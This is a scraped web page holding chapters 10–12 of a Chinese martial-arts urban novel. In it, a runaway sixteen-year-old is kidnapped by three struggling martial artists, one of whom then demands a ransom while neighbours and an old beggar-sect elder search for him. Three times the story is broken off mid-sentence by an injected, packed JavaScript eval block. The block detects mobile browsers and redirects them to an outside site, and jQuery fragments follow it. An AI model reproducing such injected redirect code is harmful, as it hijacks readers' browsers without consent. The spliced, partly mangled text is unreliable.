猫头鹰室友送的毛绒狗伸着舌头坐在窗台上,胸前挂了个小狗牌,先前甘卿焦头烂额地找房子,没顾上仔细看,这会,她才发现,狗牌上还有一行字,是猫头鹰室友歪歪扭扭的孩儿体。
甘卿把狗牌翻过来,见上面写着:你的一生,将以什么立足呢?
不知道这算临别赠言,还是猫头鹰室友自己随便写着玩的,甘卿看完,笑了一下,钻回被子里闭目养神去了。
孟老板说得没错,就算是一百一十号院,也跟以前不一样了。
除了拜别喻怀德老人那夜,来了不少人物之外,这里就跟普通的居民小区没什么区别。每天出门碰见的,大多是一脸困顿的上班族和出门上补习班的小学生,还有闲极无聊的大爷大妈们在院里遛狗、锻炼身体、嚼舌根。
一见面就不很满意的张美珍女士,跟她也一直相安无事——主要是她俩碰不上面。
早晨甘卿去上班的时候,她老人家还没起,晚上甘卿已经睡醒一觉了,她老人家还没回来,同住东八区,中间仿佛隔着一太平洋的时差。
甘卿在这住了小一个月,张美珍跟她说的最多的一句话就是“替我收快递”。
除了快递,老杨大爷的孙女偶尔也来送东西。
老杨大爷的孙女就是他们在电梯里碰见的那位,叫杨逸凡,据说自己有公司,是个风风火火的女老板。公司是干什么的,甘卿还不了解,因为大爷大妈们的闲言碎语不讨论事业,他们聊的一般都是“老杨家那个疯丫头啊,三十大几了,也没个对象,整天在外面瞎混,要多不着调有多不着调,看见她我就发愁”。
杨逸凡每次被她爷爷派来,都鼻子不是鼻子、眼不是眼的,赶上张老太在家,她就撂下东西翻个白眼,张老太不在家,她就拽着甘卿长篇大论一番,把张美珍女士从头挖苦到脚。
而送走了喻老之后,隔壁就锁了门,喻家那位青年才俊没再来过。
转眼,燕宁短暂的夏天匆匆滑过,两场雨下来,早晚就凉了,秋意露了端倪。
学生们愁眉苦脸,准备开学,社畜们也被即将到来的第三季度敲了一闷棍,在头顶KPI的杀机下瑟瑟发抖。
喻兰川为了给大爷爷办后事,请了一个礼拜的假,回来以后,整个人都被抽成了一只陀螺,屋漏还偏逢连夜雨,公司的风控总监——也就是喻兰川的顶头上司——在去茶水间拿糖的半路上突发脑梗,才四十出头,被救护车“呜哇呜哇”地拉走,好几天了,还没脱离生命危险。
兔死狐悲,物伤其类。加班狗们捂着“三高”的肚子,都好像看见了自己的下场,一时间愁云惨淡。部门内部的事更是一多半压在了喻兰川身上,压得他昏天暗地,于是从每天早起练“七诀剑”,改成了早晚各一次,下了真功夫——没办法,想活到退休,不努力养生不行。
在这种情况下,喻兰川忘了他弟生日,实在也无法太苛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728780|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
责。
8月30日是刘仲齐十六岁生日,提前一星期,他就开始盼着,父母临走时嘱咐过,大哥生活压力大,不准跟他要这要那。刘仲齐也不想要什么礼物,就希望大哥早点回来,陪他吃碗面……煮方便面也行。
他在客厅的日历上,把这一天圈出来了,生怕喻兰川没看见,当天早晨还特意起了个大早,在饭桌上搭讪着问:“哥,今天星期天,你还加班啊?”
喻兰川头也不抬地“嗯”了一声。
“那你能早点回来吗?晚饭回来吃吗?”
喻兰川右手拿筷子,左手回微信,双线并行,忙得不亦乐乎,根本没听清他说了什么,惯性地又“嗯”了一声,然后把这事忘在了九霄云外。
寒暑假过生日,总不像在学校里那么热闹,特别是临近开学,这会大家都在疯狂补作业,没心情关心别的。一整天,只有平时玩得好的几个同学给他发了信息,远在异国的父母给他发了电子贺卡,礼物要好几天以后才能寄到。
刘仲齐自己出门买了蛋糕,等到了晚上八点,喻兰川还没有要回来的意思。他试着打了个电话,占线,发信息,对方没回。
九点再打,依然占线。
十点……这次终于通了,电话那头很嘈杂,喻兰川不知跟谁说:“……据我了解不是这样,你这个市场价格哪来的?我希望大家都严谨一点,行吧?”
然后他好像捂住了手机,把声音压得很低,飞快地说:“你自己叫外卖吧,早点睡,哥哥这边现在太忙,有事回去说啊,乖。”
说完挂了电话,五秒后,手机又震,刘仲齐充满希望地打开微信,期待哪怕看见一句“生日快乐”,结果收到了一个红包。
留言是系统默认的“恭喜发财,大吉大利”。
刘仲齐一个人在餐桌边坐了好久,默默切了块蛋糕吃了,然后他背起书包,拿了两件换洗衣服,决定离家出走。
这个点钟,甘卿已经要睡下了,正要关灯,手机震了一下,有个好友申请,备注写的是“星之梦顾客”。
她觉得这些晚上不睡、早晨不起的顾客有点烦,但顾客毕竟是上帝,她犹豫了一下,还是通过了。
“上帝”的头像是个英伦摇滚明星,名字是“是仲不是齐”,很快发来消息:“你说前三次咨询免费。”
就知道是这样。
甘卿叹了口气,缩进被窝里,琢磨着怎么打发讨人嫌的客人。
“上帝”又说:“我在星之梦门口,你家店关门了吗?”
甘卿打了个哈欠,回复:“营业时间是早十点到晚八点哦,亲。”
“哦,”上帝“正在输入”了一会,胡搅蛮缠地问,“你能加班吗?”
甘卿:“……”
“上帝”说:“大人不是都加班吗?”
“我的工作是洞察星星的轨迹和宇宙微妙的气场呢亲,”甘卿开始胡说八道,“宇宙每时每刻都在运转,时间是个很重要的参数哦,只有在合适的时间才能体察到命运的秘密。谅解哦,亲。”
“上帝”让她亲得不吱声了。
甘卿松了口气,倒头就睡。
第二天上午,甘卿照常溜达到星之梦上班,伸了个长长的懒腰,她正要开锁,突然一顿。
星之梦门口掉了一张她的名片,皱巴巴地团着,旁边洁白的小石阶上,有一道人五指抓出来的印——
11. 第十章
星之梦店门前的小路年久失修,有一片地砖没了,露着底下的泥土地,最近雨水又多,有不注意的,一脚踩过去,就得沾上一鞋底的稀泥。
甘卿看见,除了石阶上已经干涸的泥手印,那片泥地里还有个脚印——不是全脚掌,是脚后跟蹬的,踩得非常深。
无论是这个脚印的力度、还是泥土翻起来的角度,都不像路人没事用脚跟在地上碾的,倒像是有人被拽倒在地,让人拖着走,挣扎的时候脚用力蹬地蹬出来的。甘卿的目光转向石阶上的泥手印——被拖走的人可能发现挣扎没什么用,所以下意识地伸手去抓旁边的东西,先扒了地,没扒住,又去抓石阶,这才留下了手印。
仔细看,石阶上的手指印上,好像还沾了一点血迹。
甘卿低头踅摸了一阵,在墙角找到了一颗扣子,上面还缠着线头,像是暴力拽下来的。
“孟叔,”甘卿回头冲隔壁正在准备食材的孟天意说,“昨天晚上您几点收的?”
“昨天啊,收得早,这两天降温嘛,客人都少了,”孟天意说,“不到十点吧。”
甘卿又问:“昨天有人在这打架么?”
“没啊,一天都挺太平的。怎么了?”
“哦,没什么。”甘卿绕过地面上的脚印和指印,怀疑是自己疑神疑鬼——也可能是哪个醉鬼在这摔了一跤,平地狗刨半天站不起来。
她开了门,伸手想把门口那个“休息中”的木牌翻过来,谁知才刚一碰,木牌就掉了下来,裂成了两瓣。
孟天意听见动静走过来,捡起裂开的木牌看了一眼,就皱起眉:“手劈的——这是什么意思?踢馆?还是有人找你麻烦?”
甘卿莫名其妙:“踢……小饰品店的馆?您觉得会是隔壁杂货铺干的吗?”
“去你的,没正形。”孟天意没笑,沉下脸色,盯住她,“你最近跟人动手了?”
“怎么可能,大街上碰见劫道的,我要是身上没现金,都主动给人手机转账。张奶奶每天一见我就念佛,”甘卿无奈地一摊手,接过一分为二的木牌,发愁这东西怎么粘起来,“到底哪位英雄喝多了打王八拳啊?找我麻烦——您看我这样的,找我麻烦能有什么成就感?”
孟天意看了她一眼,觉得这倒也是。
俩人摸不着头脑地琢磨了一会,没什么头绪,只好各自支摊干活。就在这时,几个民警步履匆匆地走过来,逢人就举着张照片问话,后面还跟着喻兰川。
孟天意一抬头:“哎,小喻爷,于警官?”
于严把帽子摘下来,抹去一脑门的汗,气喘吁吁地跑过来:“孟老板,您在这太好了。”
“又出什么事了?”
“别提,还是上次那倒霉孩子。”于严说着,掏出刘仲齐的照片,“就这小子,昨天跟家里闹脾气,离家出走了,手机定位是在这附近,您见过他吗?”
孟天意凑过去,仔细看了一眼,摇摇头:“没有,眼生,等我给你问问——杆儿!”
甘卿正在往眼睛里塞隐形眼镜,不小心掉了根睫毛在里头,异物感一下把眼泪刺激出来了,听见孟老板喊她,泪眼朦胧地探出头:“嗯?”
她还没来得及化那个非主流的妆,嘴唇颜色极淡,脸极白,一点血色都凝在眼周,在素白的底色上非常显眼,让人想起雪地里意外绽开的花。
不知道为什么,喻兰川的目光和她碰了一下,下意识地移开了视线。
“麻烦您看一眼这孩子,”于严连忙把照片递过去,“有印象吗?”
甘卿看了好半天:“这不是那个……”
于严:“对对,就是上次在这被人碰瓷的那个,您还帮忙报警来着,叫刘仲齐!附近见过他吗?”
甘卿摇头。
于严重重地叹了口气。
就在他转身要找下一个人问的时候,甘卿忽然迟疑着叫住他:“您刚才说他叫什么?”
“刘仲齐,伯仲叔季的‘仲’,齐是……”
甘卿掏出手机,翻出她新加的那个“是仲不是齐”:“是这俩字吗?”
泥塘后巷没有监控,只能通过微信聊天记录判断,刘仲齐小朋友在头天晚上十点半左右,来过这里,店门口有几个不祥的痕迹、一颗扣子——喻兰川这个不知道有什么用的哥,看了五分钟,也不能确定这颗扣子是不是他弟弟的。
如果说,就这些这还无法断定小孩不是自愿走的,那一个小时以后,他们在垃圾桶里找到的手机,就很能说明问题了。
手机被人暴力砸在地上,屏幕裂成了渣,机身已经摔散了。
警报升级,青少年赌气离家出走事件,变成了绑架案。
于是大家店也不用开了,菜也不用做了,星之梦门口那一块地方被圈了起来,一大帮警方的人忙进忙出。
甘卿把聊天记录交给了警察,还被问了话,问完,这里也没她什么事了,于是她跟孟老板告了别,准备回家,走到小路口,却看见喻兰川正在打电话。
喻兰川留给她的第一印象,就是那天那个敞胸露怀的德行,眼皮一耷拉,拽得二五八万一样,好像身后跟着一排照相机,等着抓拍他搔首弄姿的硬照。
是个光鲜的少爷。
但“少爷”对着电话,却又客气又有涵养,和周围的忙乱形成鲜明对比,甘卿听见他说:“……实在不好意思,我现在家里真的是有点事,走不开……”
他话没说完,就被电话那边的人打断,甘卿隔着几步远,看见喻兰川暴躁地把眼镜摘下来,扔在警车车顶上,反复揉捏着鼻梁,表情就像想砍人,说话却依然是礼貌而且心平气和的,好像嘴脱离了身体,出来单干了:“我明白……是,理解,您看这样好不好,等我回公司,保证第一时间……”
电话那头就“嘤嘤嘤”地开始吠,没完没了的。
喻兰川就沉默下来,面无表情地抬起头,眯着眼看了看灼眼的晴天。
及至一字不漏地把对方的话听完,他才深吸了一口气:“……那好吧,我联系我部门的人处理,您稍等。”
接着,他就开始打电话,遥控部门,指挥下属们干活,让这个修改材料,让那个替他去开会,甘卿看见他靠在警车上,半闭着眼,条分缕析地跟同事们叮嘱会议要点,手指一直在揉捏着眼镜腿。
长篇大论地说完,喻兰川口干舌燥,又回忆了一下,确认自己没有遗漏,这才对同事说:“行,就这事,辛苦了,你去吧。”
同事礼节性地问:“喻总,家里怎么了?没事吧?”
喻兰川:“我……”
我弟弟失踪了,疑似被人绑架。
“啪”一声脆响,喻兰川没控制住手劲,掰断了眼镜腿。
“……事不大,”于是,他又把那句话咽了回去,“处理完我就回公司,随时保持联系。”
没什么好说的,别说是丢了个中二弟弟,就是亲妈死了,又能怎么样呢?
同事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728781|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也就不痛不痒地说句“节哀”,嘴甜的,最多再客气一句“有事您说话”。心里一准就得犯嘀咕——他家怎么越忙越有事?上司死了妈,我们是不是还得表示一下?唉,红白事总在月底,不穷不来事。
整个世界都在高速旋转,每个人都得疲于奔命。
别人的天灾人祸、生老病死,那都是添乱的不速之客。
喻兰川放下电话,发现了几步之外的甘卿,就冲她一点头:“麻烦了。”
甘卿不知怎么的,一时冲动,脱口说:“你可以找杨大爷帮忙。”
喻兰川惊讶地看着她。
经她一提醒,喻兰川才想起来。据说在解放前,棍不离手的杨大爷曾是丐帮帮主,后来社会变了,不兴那些帮帮派派了,大家伙也都该找工作找工作、该退隐退隐了。现在丐帮里的老人们,一般只在衣服上留几个补丁,算是保持传统,平时都过普通日子,偶尔开展“文明行乞,抵制早晚高峰地铁要饭”的宣传教育活动,或是在乞丐们划分地盘起冲突时过问调停一下。
但有这张无孔不入的关系网,他们的消息都是很灵通的。
问题是,她怎么知道的?
甘卿话一出口,就后悔得差点咬了自己的舌头,飞快地笑了一下,她脚下抹油,溜了。
钻进泥塘的小杂巷里,甘卿的脚步忽然一顿,想起了那天在这一片跟踪她的光头——不怪她没有第一时间想起来,实在是这事已经过去快一个月了,当时正忙着讨生活,满脑子房租,这些鸡毛蒜皮没放在心上。
她从包里翻出两半的木牌,心想:不会真冲我来的吧?
被她念叨的光头正抱着宿醉的大脑袋,蹲在墙角,像一朵泡发了的大蘑菇。
他的同伙刀疤脸在旁边驴拉磨似的乱转,转一圈叹一口气。这时,瘸子深一脚浅一脚地跑了进来,气还没喘匀,先看见了墙角被捆成一团的刘仲齐,差点把另一只脚也崴了。
瘸子七窍生烟,大步颠到光头面前,抬起巴掌,劈头盖脸一顿抡:“你是不是疯了!昨天是不是喝假酒去了!是不是把脑浆也一泡尿呲出去了!”
光头抱头鼠窜:“二师兄,哎,师兄别打,我错了……”
“师娘那么大岁数了,整天在医院伺候大师兄,累得腰都直不起来,你他妈没用就算了,还出去喝酒闹事,我打死你个闯祸精!”
他们一行人被清理出租屋之后,就来到了一个城中村落脚。
这个城中村早就说要拆迁,有几个钉子户坐地起价,补偿一直没谈拢,还不死不活地放着。其他拿了补偿的住户们已经搬得差不多了,见这地方一时半会也拆不了,就偷偷收钱,把破平房租给外地人。
光头有酒瘾,那回去堵甘卿就是喝了酒,前一阵子被师哥和师娘看着,还算收敛,昨天晚上,那两位都不在,他一时心里痒,没管住自己,出门喝了个酩酊大醉,越想越觉得上次在泥塘后巷窝囊。
酒壮怂人胆,光头把老太太嘱咐他的话丢到了十万八千里,醉醺醺地上门踢馆,结果扑了个空——人家店里早关门了。
光头憋屈得“嗷”一嗓子劈了店门口挂的歇业木牌,正打算砸玻璃的时候,就听见旁边有人说:“你要干什么,我报警了!”
一身正气的刘仲齐同学显然没有吸取上次的教训,没学会“闲事不管,小心做人”,于是他这会成了一颗愤怒的粽子,给人五花大绑、堵着嘴扔在墙角,试图用眼神“突突”死这些大垃圾。
12. 第十一章
刀疤脸最小,别人都是他师兄,所以拉也拉不住、拦也不敢拦,只好束手在旁边站着,独自承受英雄少年刘仲齐喷火的视线。
“别打了!”刀疤脸崩溃地指着刘仲齐问,“这个到底怎么办?”
瘸腿二师兄才想起旁边还有这么一笔孽债,愁得要命,也没心情殴打师弟了:“先把人解开!”
“不行,解开他瞎昂昂(嚷嚷)。”光头——因为不敢还手,被师兄一肘子抡肿了脸,说话也大了舌头——他蹲在地上,委屈地露出一双小三角眼,见二师兄抬胳膊,连忙又缩脖抱头,蜷成一坨。
二师兄不信邪,沉着脸走过去,把刘仲齐嘴里的袜子团揪了出来。
刘仲齐嘴还没闭上,就顺势深吸一口气,预备咆哮。二师兄被英雄少年张开的大嘴吓了一哆嗦,本能地又把袜子团塞了回去。
刘仲齐的咆哮被堵了回去,只好绕行鼻腔,老黄牛似的“哞”了一声,震得自己太阳穴生疼。
光头哭丧着脸说:“要是被人花(发)现,左(咱)们连则(这)种地方也不能住了吧?”
二师兄:“还不都是因为你!”
这些违法乱纪的犯罪分子,死到临头,居然还在担心租房的事!刘仲齐听了这兄弟俩担心的重点,气得要炸,于是肚子里结结实实地打了个闷雷——从昨天中午到现在,快二十四小时了,他只吃了一小块蛋糕。
紧接着,可能是为了配合他,光头的肚子也起哄似的响了一声。
刀疤脸看看这个,又看看那个,细声细气地说:“师兄,快中午了,早饭还没吃呢。”
二师兄没了脾气,一言不发地出了门,买回了几斤包子。
然后这三位大流氓围着刘仲齐和包子团团坐下,二师兄跟他谈判:“我们也可以给你吃,但是你不许叫。”
英雄少年被堵着嘴,用一个巨硕的白眼说话:“你做梦!”
刀疤脸就捏了个小包子,放在他鼻子底下。
雪白的发面小包子还冒着热气,像加了一层柔光滤镜,有一块面皮给馅里的油浸成了半透明,能隐约看见里面的馅,浓烈的香气流露出来——猪肉大葱馅的。
刘仲齐:“……”
由于敌我悬殊,英雄少年不支败北,在小笼包的攻打下缴械投降。
二师兄很有技巧地给他身上的绳子换了一种绑法,这样,他两只手虽然还是绑在一起,但能自己捧着包子吃饭。
半大少年本来就容易饿,刘仲齐一下嘴,根本停不下来,埋头啃了十来个小包子没歇气,噎得直梗脖子。
二师兄:“喝水吗?”
刘仲齐又愤怒又羞耻,蚊子似的“嗡”了一声:“……喝。”
二师兄打量了他片刻,有点疑惑地问:“我是不是在哪见过你?”
“我的学、生、证,还在你们手里!”刘仲齐出离愤怒了——这帮不要脸的,暑假都还没开学,他们居然已经把受害者忘在九霄云外了!
三个大流氓面面相觑片刻,竟然好像都有点过意不去,好像他们也知道薅毛不能可着一只羊似的!
刀疤脸干咳一声:“我师兄……昨天喝多了,也不是故意的,你看,他都被打成这样了。”
光头不肯在小崽子面前展示自己的熊样,听见这话,就背过头,伸出蒲扇似的大手遮住了脸。
“都是误会,”刀疤脸陪着笑说,“我们还请你吃了一顿饭呢。”
他们哥仨的文化水平加在一起,大概也就能凑个初中肄业,基本是法盲,但大概的常识还是知道的。比如一般小偷小摸、坑蒙拐骗,只要自己小心一点,警察没那么大精力到处通缉他们,偶尔运气不好被抓住了,也顶多蹲几天看守所。
可是绑票就不一样了,这要是在过去,得是土匪才敢干的事,土匪遇上官兵,一般都是什么下场?
“我们可以立刻给你松绑,送你走。”二师兄对刘仲齐说,“反正你也是离家出走的,对吧?”
刘仲齐差点脱口问一句“你怎么知道”,好在刚吞下去的十几个包子提供了能量,他死机了一宿的大脑又重启了,忍住了没吭声。
“一看就知道,你们这些没吃过苦的小兔崽子,不愁吃,不愁喝,闲的没事耍脾气。”二师兄摆摆手,“放了你,就赶紧回家去吧。好好念书,生在好人家,还不知道珍惜,唉!”
刘仲齐万万没想到,自己有一天居然会被几个绑匪教训——他亲哥都没教训过他!于是起了逆反心:“你知道什么?”
二师兄笑了笑,不和他争辩,随后脸色又忽然一沉:“但是放你回去,你得管住自己的嘴,要是敢瞎说,哼!”
这瘸腿二师兄方脸大眼、厚嘴唇,是一副憨厚木讷的长相,可一冷笑起来,脸上却横肉四起,顿时变得狰狞了:“警察没那么容易抓住我们,但是我们要找你可不难,有千日做贼的,没有千日防贼的,你想好了。”
刘仲齐吃饱了,一腔热血都奔着肠胃去了,没在头上逗留,听完确实是有点被恐吓住了,再说他也不能在绑匪有意释放他的时候激怒对方,于是抿了抿嘴,没吭声。
瘸腿二师兄冲刀疤脸使了个眼色:“给他解开。”
刘仲齐被捆了好久,手脚发麻,一下没能站起来。
二师兄就过来,抓住了他的腿,刘仲齐吓了一跳,慌忙想往回缩,可是那男人的手像铁钳一样,说什么也挣不开。
瘸腿二师兄伸出三根手指,在他腿上飞快地按了几下,少年发麻的腿上立刻好像被一排针扎进了肉里,他差点咬了舌头,活鱼似的跳了起来。
二师兄翻了他一眼:“忍着。”
话音没落,又对他另一条腿施以同样的“酷刑”。
刘仲齐汗都下来了,张着嘴叫不出声,趴在地上一边流眼泪一边喘。
但是奇异的,那阵剧痛很快就消退了,紧绷的肌肉松下来,既不疼也不麻了。
二师兄在他脚踝上轻轻踢了一脚:“行了,快起来吧,活动活动。”
刘仲齐擦了擦疼出来的眼泪,试着动了一下腿,整个人轻了起来。他迟疑着爬起来,在原地走了两圈,发现两条腿非常灵活,几乎能出去跑个一千五百米,于是震惊地看向那瘸子。
瘸腿二师兄说:“学生娃,太娇气,吃不了疼,胳膊我就不给你捏了,晚上回去自己扶着墙拉拉筋,省得明天酸。”
刘仲齐揉着自己的手腕:“你是……那种练气功的人吗?”
二师兄笑了一下:“不是,那都是骗人的。”
“但是你肯定会功夫吧?我那天看见你们翻墙……”不能免俗的,中二少年心里起了些幻想,刘仲齐小心翼翼地问,“就……轻功什么的?”
“雕虫小技,练一两年你也能翻。”
刘仲齐是他们学校广播站的,写多了根正苗红的稿,他一张嘴就是“讲文明、树新风”的调调:“那……那你可以去开武馆啊,或者去表演、当私教练什么的……实在不行,按摩师也可以。要是真的厉害,还可以去打职业赛,你们为什么非得……”
他话还没说完,一听见“职业赛”仨字,光头就不知受了什么刺激,大叫一声站了起来,瞪起铜铃似的眼睛。
刘仲齐被他吓了一跳,往后退了好几步。
瘸腿二师兄一抬手,拦住光头,颇为慈祥地对刘仲齐说:“你知道个屁,快滚吧!”
放走了乌龙绑架案的受害者,光头被二师兄按在了椅子上。
这会,肉包已经有点凉了,瘸子用手捏了一个,托在手里慢慢吃:“老三,别惹事了,咱们马上就该走了。”
光头和刀疤脸同时一愣。
“师娘昨天晚上跟我说的,”二师兄没抬头,“苦了你们哥俩了。师父没了,大师兄病着,我没教好你俩,照顾也不周……没脸啊。”
刀疤脸呆呆地问:“那大师兄怎么办?”
“回家。”
“病呢?不看了吗?”
“手术起码五十万,得自己先垫,回去才能报销,我跟人打听了,报也不会给你全报,差得远呢。”二师兄叹了口气,“再说,大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728782|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夫说手术也有风险,不做没准还能多活几年,做了,失败了,人就过去了。师娘说,那既然这样,咱们就回家吧,卫生所不是有个老大夫开中药吗?慢慢治,看命了。”
刀疤脸不甘心:“不是……咱们好不容易来了,就这么回去?师父和师娘就大师兄这么一个儿子……”
“那你说怎么办,把咱仨穿一块卖了,值五十万吗?有人买吗?”二师兄顿了顿,低头看着自己的跛脚,“昨天师娘跟我说,咱们不该来,燕宁容不下咱们这样的人啊。”
光头发泄似的大叫一声,跑了出去。
刀疤脸追了几步,没追上,又无措地回头去看他的二师兄。
瘸腿二师兄没吭声,一手拿着包子,一手揉捏着自己的跛脚,出了神。
光头一路跑了出去,在破败的城中村里徘徊了几圈,不知道去哪,也不知道能干什么,有心想找个地方再灌一个酩酊大醉,一摸兜,发现就剩俩钢镚了。
对了,他昨天晚上把钱都花完了。
师娘他们在快餐店里只舍得点一包薯条,怕吃完了别人赶,谁都不肯动。他居然因为管不住自己,出门喝光了身上所有的钱。
光头茫然四顾,正午的阳光细细地蒸着地上的积水,私搭乱接的电线蛛网似的在他头顶打着结,一根歪歪斜斜的电线杆上贴满了各种“无痛人流”和“办/证贷款”的小广告。几家钉子户里还有人,都聚在村口小卖部里打麻将,地面积了一层瓜子皮,旁边摆着个旧式的小收音机,电台正在播相声。
人们肮脏而惬意。
光头站在旁边听了一会,都是老段子,笑不出来,于是他丧家之犬似的低了头,往回走。
这时,年久失修的收音机突然跳了台,杂音里传来新闻主播四平八稳的声音:“下面临时插播一条本地新闻,据悉,昨晚有一少年在小水塘区被绑架,受害者男,十六岁,身高一米七七,失踪时穿蓝色运动鞋、牛仔衬衫,衬衫掉了一枚纽扣……”
光头听完愣了,随后一激灵,撒腿就跑。
“师兄,师兄!”他屁滚尿流地跑回他们租的小院,还没来得及跟二师兄说上话,瘸腿二师兄的电话就响了。
二师兄的眼皮无端一跳,接起来:“师娘……哎……什么!”
光头喘着粗气,不知所措地站在门口,漏音的电话里,教育他们不要坐井观天的老太太哭了起来,“呜呜”地在狭窄阴暗的小平房里回荡。
“我这就过去。”二师兄飞快地说,然后他撂下电话,一边往外冲一边对两个师弟说,“师兄刚才突然全身衰竭,送抢救室了,快走!”
刀疤脸和光头还没回过神来,木呆呆地跟着他往外跑。
光头被打肿的脸泛着油光,迎风一吹,火辣辣的疼。忽然,他意识到,师娘说带师兄回家,不是“看命”。
是等死。
他胸口如有雷鸣电闪,劈得地裂山崩、寸草不生,却无从发泄。
就在这时,光头余光扫见了一个狼狈的身影——城中村面积挺大,地形错综复杂,刘仲齐手机没在身上,没个导航,也找不着人问路,在里面迷了半天路,现在还没走出去。
光头盯住他,猛地刹住脚步,眼睛红了。
“五十万就能救命,这些有钱人家里,谁还没有五十万?”他想,“反正警察已经在抓我们了。”
甘卿让过了两辆“特快”,终于等来了一辆普通公交车,她打开导航,搜到了那个待拆迁的城中村。
不算很远,五站。
她不用丐帮,不过有自己的门路。
打听刘仲齐不容易,打听光头却不难。光头长得人高马大、凶神恶煞,这种人进了鱼龙混杂的泥塘后巷,一定会被人注意到,她问了几个经常在泥塘喝酒的人,得知这光头也是个酒鬼,酒品还烂,喝多了就找事。
有老江湖不动声色地套过他的来历,光头嘴很紧,但有一次喝多了,透露过他们在燕宁落脚的地方,似乎就是这个城中村附近。
不管是不是,她决定去碰碰运气。
13. 第十二章
刘仲齐心里知道,这几个当街碰瓷小孩的不是什么好货,可是人的思维是有惯性的,就如同股民看见今天股票涨了,总觉得明天还会继续涨一样,从小没受过欺负的少年看见恶棍的人品略有起色,也总觉得对方也许还能有个人样。
所以他看见光头的时候,两脚是钉在地上的,没想跑、也没什么防备。毕竟这伙人刚刚放了他,还请他吃了一顿早午饭。
光头动手太快了,如同猛鹰从天上猛冲下来,叼走一只野兔幼崽一样让人猝不及防。
刘仲齐根本没反应过来,喉咙就被一只大手扼住,随后他双脚悬空,被光头卡着脖子拎了起来,因为喘不上气来,耳畔充斥着心脏的狂跳,眼前一阵一阵发黑。
“老三!”
“师兄,你干什么呢?”
别说刘仲齐,就连瘸腿二师兄和刀疤脸都惊了,目瞪口呆地看着光头。
光头脸上泛起隔夜的油光,眼睛里血丝如蛛网,额头暴起青筋,像传说中不小心踩进恶鬼之境,被群魔附体的傀儡。
“五十万,”他低而含糊地说,“叫这小子家里拿五十万来。”
二师兄爆喝一声:“你掐死他了!”
光头咆哮起来:“不然我就掐死他!”
刘仲齐开始缺氧,双手徒劳地扒着光头的胳膊。
刚满十六岁的少年,骨架已经蹿起来了,其他的硬件似乎还没跟上,落在光头手里,像根软绵绵的面条。
刀疤脸脱口说:“可、可是你也不能在拿钱之前掐死他啊!”
二师兄:“闭嘴!添乱!滚蛋!”
但刀疤脸这句有点“就事论事”的话,光头反而听进去了,果然略微松了松手,一口急促的空气卷进了刘仲齐的肺,呛得他直想吐。
“老三……志勇,”瘸腿二师兄往前挪了一步,他嘴角两条法令纹垂下来,看起来又苍老、又疲惫,“别犯浑了,都什么时候了,算我求求你了,你让师兄省点心吧!”
光头的手在哆嗦,嘴唇在哆嗦,全身似乎都在哆嗦。
“快放开吧!”
“我不。师兄,你们都别管,今天这事跟你们没关系,出事了,我自己去坐牢。”光头摇着头,忽然,他那又疯狂又冷静的话里带了哭腔,“反正师兄弟四个,我最没出息、我最讨人嫌,从小师娘就最不喜欢我,师父也嫌我脑子笨,我进去不亏!我给大师兄一命换一命!”
“你说得是人话吗!”瘸腿二师兄气得面红耳赤,“你是不是非要气死我才甘心!”
刀疤脸意意思思地探出头:“就……就这事吧,你把那小孩掐死,他家也不见得给钱,给钱……那大师兄也不见得治得好……你说一命换一命,这、这买卖不一定成啊……”
瘸子一抬手推了他一个趔趄,刀疤脸缩脖端肩,不敢吱声了。
就在这时,身后突然传来一个声音:“我觉得这话有道理啊。”
在场三个绑匪与一只人质集体一震。
与此同时,丐帮发了密令,一张深深埋在城市地基里的大网被拽了出来,捕捉着四面八方的风吹草动。
杨大爷的水开了,他让喻兰川稍坐,伸出一双布满老年斑的手,慢吞吞地泡起了功夫茶,烫杯、干壶、倒茶,行云流水:“来。”
喻兰川心不在焉地接过杯子,刚要开口,老杨一抬手打断他:“别急,等。”
茶水蒸腾起来,老杨就在水雾里轻轻地说:“我年轻的时候,喝酒不喝茶,还看不起喝茶的,老来,被儿孙逼着戒了酒,慢慢地才知道我错了,喝酒是修行,喝茶也是修行,行走坐卧是修行,喜怒哀乐也是修行。你得把心沉下去,杨爷爷今天帮你,明天指不定就蹬腿西去了,武林大事小情,就得交到你们年轻人手里了,小川啊,你们得学会修自己的心。”
喻兰川就着茶品了一下,并没有接受这番仙气飘渺的长者之言:“杨爷爷,我认为您归因不准确,所以您的建议不具备可行性。”
老杨一下从寒山古刹,被他拉到了写字楼会议室,一时有些找不着北。
